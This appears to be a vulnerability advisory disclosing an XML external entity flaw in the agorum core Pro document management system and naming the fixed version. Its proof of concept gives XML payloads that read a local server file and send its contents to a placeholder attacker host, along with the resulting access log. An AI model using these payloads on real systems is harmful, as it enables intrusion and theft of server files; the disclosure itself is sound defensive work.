~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

agorum core Pro is a module based Document Management System. It allows 
the customer to buy only required modules and can be extended when 
needed. 

Due to the possibility to upload and parse XML files, it is possible to
extract data from the local system.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

SySS GmbH found out that users are able to upload and parse XML files.
Even though the result of the parse XML file is not visible in the
application, it is possible to extract data from the local system using
an external server. 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

First, the file "ev.xml" with the following content was uploaded to an 
external server hosted by the attacker.

<!ENTITY % data SYSTEM "file:///c:/[PATH]/[FILE]">
<!ENTITY % url "<!ENTITY extract SYSTEM 'http://[ATTACKER-HOST]?%data;'>">

Second, the file "attack.xml" with the following content was uploaded 
in the desk4web module of the web application: 

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sg SYSTEM "http://[ATTACKER-HOST]/ev.xml">
%sg;
%url;
]>
<r>&extract;</r>

Important is to tick the box in the application that the XML file should 
be parsed after uploading. 

When the application has finished parsing the XML file, an entry in for 
example the Apache access.log file of the attacker's web server is
available, which contains the extracted file contents:

"GET /ev.xml HTTP/1.1" 200 441 "-" "Java/1.7.0_17"
"GET /?[EXTRACTED-FILE-CONTENTS] HTTP/1.1" 200 210 "-" "Java/1.7.0_17"

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

Update to agorum core 7.11.3. [4]
